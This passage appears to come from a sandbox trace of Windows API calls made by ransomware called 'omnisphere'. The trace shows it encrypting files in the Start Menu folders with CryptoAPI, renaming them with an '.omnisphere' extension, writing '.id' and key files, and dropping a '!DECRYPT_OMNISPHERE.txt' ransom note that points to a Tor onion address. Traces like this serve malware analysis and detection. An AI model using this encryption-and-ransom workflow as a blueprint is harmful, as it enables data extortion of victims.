hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.198] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0140.198] CryptDestroyKey (hKey=0x1639568) returned 1 [0140.198] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0140.198] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xaa, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0140.198] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0140.200] GetProcessHeap () returned 0x1600000 [0140.200] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2da) returned 0x172bbd0 [0140.200] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini.omnisphere")) returned 1 [0140.202] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini.omnisphere.id" [0140.202] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\desktop.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0142.632] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0142.634] CloseHandle (hObject=0x3b4) returned 1 [0142.635] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0142.635] CloseHandle (hObject=0x388) returned 1 [0142.635] SetEndOfFile (hFile=0x3c0) returned 1 [0142.637] FlushFileBuffers (hFile=0x3c0) returned 1 [0142.744] CloseHandle (hObject=0x3c0) returned 1 [0142.746] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\Desktop.ini" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance") returned 1 [0142.746] GetProcessHeap () returned 0x1600000 [0142.746] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x172dec0 [0142.746] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0142.746] GetProcessHeap () returned 0x1600000 [0142.746] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd780 [0142.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd780, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0142.747] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0142.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0142.747] GetProcessHeap () returned 0x1600000 [0142.747] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17101a0 [0142.747] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17101a0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0142.747] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0142.747] GetProcessHeap () returned 0x1600000 [0142.747] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xe2) returned 0x16dabe0 [0142.747] PathCombineW (in: pszDest=0x16dabe0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\!DECRYPT_OMNISPHERE.txt" [0142.747] GetProcessHeap () returned 0x1600000 [0142.747] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1719a10 [0142.747] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0146.553] WriteFile (in: hFile=0x3c0, lpBuffer=0x1719a10*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x1719a10*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0146.554] CloseHandle (hObject=0x3c0) returned 1 [0146.703] GetProcessHeap () returned 0x1600000 [0146.703] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172dec0 | out: hHeap=0x1600000) returned 1 [0146.703] GetProcessHeap () returned 0x1600000 [0146.703] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd8) returned 0x1695e28 [0146.704] PathCombineW (in: pszDest=0x1695e28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\unique_decrypt.key" [0146.704] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\maintenance\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0146.934] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0146.936] CloseHandle (hObject=0x3c0) returned 1 [0146.957] GetProcessHeap () returned 0x1600000 [0146.957] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1695e28 | out: hHeap=0x1600000) returned 1 [0146.957] GetProcessHeap () returned 0x1600000 [0146.957] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625a28 | out: hHeap=0x1600000) returned 1 [0146.957] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x0, dwReserved1=0xbf, cFileName="Desktop.ini", cAlternateFileName="")) returned 0 [0146.957] FindClose (in: hFindFile=0x1639628 | out: hFindFile=0x1639628) returned 1 [0146.958] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x388b1ee9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x388b1ee9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0146.959] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x388b1ee9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x388b1ee9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.959] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x362d8c03, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x362d8c03, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x387346c0, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0146.959] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x361cda9b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini.omnisphere", cAlternateFileName="DESKTO~1.OMN")) returned 1 [0146.959] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3613522a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3613522a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x361cda9b, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini.omnisphere.id", cAlternateFileName="DESKTO~1.ID")) returned 1 [0146.959] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x388b1ee9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x388b1ee9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x38ac80a8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0146.959] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x388b1ee9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x388b1ee9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x38ac80a8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0146.959] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0146.959] GetProcessHeap () returned 0x1600000 [0146.959] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172b700 | out: hHeap=0x1600000) returned 1 [0146.959] GetProcessHeap () returned 0x1600000 [0146.959] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x172b4c0 | out: hHeap=0x1600000) returned 1 [0146.959] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f13cff3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92576074, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2f46ddc1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xe68, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.lnk.omnisphere", cAlternateFileName="ONEDRI~1.OMN")) returned 1 [0146.959] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f46ddc1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2f46ddc1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2f46ddc1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive.lnk.omnisphere.id", cAlternateFileName="ONEDRI~1.ID")) returned 1 [0146.959] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eef18c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Startup", cAlternateFileName="")) returned 1 [0146.959] GetProcessHeap () returned 0x1600000 [0146.959] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xaa) returned 0x16f4b10 [0146.960] PathCombineW (in: pszDest=0x16f4b10, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", pszFile="Startup" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" [0146.960] GetProcessHeap () returned 0x1600000 [0146.960] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x16f4bc8 [0146.960] PathCombineW (in: pszDest=0x16f4bc8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*" [0146.960] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eef18c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbf, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0146.960] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eef18c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbf, cFileName="..", cAlternateFileName="")) returned 1 [0146.960] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x441842cf, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0xbf, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0146.960] GetProcessHeap () returned 0x1600000 [0146.960] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc2) returned 0x162c868 [0146.960] PathCombineW (in: pszDest=0x162c868, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", pszFile="desktop.ini" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini" [0146.960] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0146.961] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0146.961] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x3e0cdd4 | out: lpFileSize=0x3e0cdd4*=174) returned 1 [0146.961] GetTickCount () returned 0x1164907 [0146.961] GetTickCount () returned 0x1164907 [0146.961] GetTickCount () returned 0x1164907 [0146.961] GetTickCount () returned 0x1164907 [0146.961] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.962] GetTickCount () returned 0x1164907 [0146.963] GetTickCount () returned 0x1164907 [0146.963] GetTickCount () returned 0x1164907 [0146.963] CryptAcquireContextW (in: phProv=0x3e0c85c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0c85c*=0x1669098) returned 1 [0146.964] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0c7c4, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c868 | out: phKey=0x3e0c868*=0x1639628) returned 1 [0146.964] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x75, dwBufLen=0x80 | out: pbData=0x3e0cd14*, pdwDataLen=0x3e0c858*=0x80) returned 1 [0146.964] CryptDestroyKey (hKey=0x1639628) returned 1 [0146.964] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0146.964] CreateFileMappingW (hFile=0x3c0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xae, lpName=0x0) returned 0x388 [0146.965] MapViewOfFile (hFileMappingObject=0x388, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xae) returned 0x1480000 [0146.965] CryptAcquireContextW (in: phProv=0x3e0c84c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0c84c*=0x1668460) returned 1 [0146.966] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0c804, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0c85c | out: phKey=0x3e0c85c*=0x1639b28) returned 1 [0146.966] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0c840*=0x2, dwFlags=0x0) returned 1 [0146.966] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0c848*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0c848*=0x10) returned 1 [0146.966] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0146.966] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0146.966] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0146.966] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0146.966] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0146.966] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0146.966] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0146.966] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0146.966] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0146.966] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0146.966] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0146.966] CryptDestroyKey (hKey=0x1639b28) returned 1 [0146.967] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0146.967] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0xae, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0146.967] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0146.968] GetProcessHeap () returned 0x1600000 [0146.968] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2d2) returned 0x172beb8 [0146.968] MoveFileW 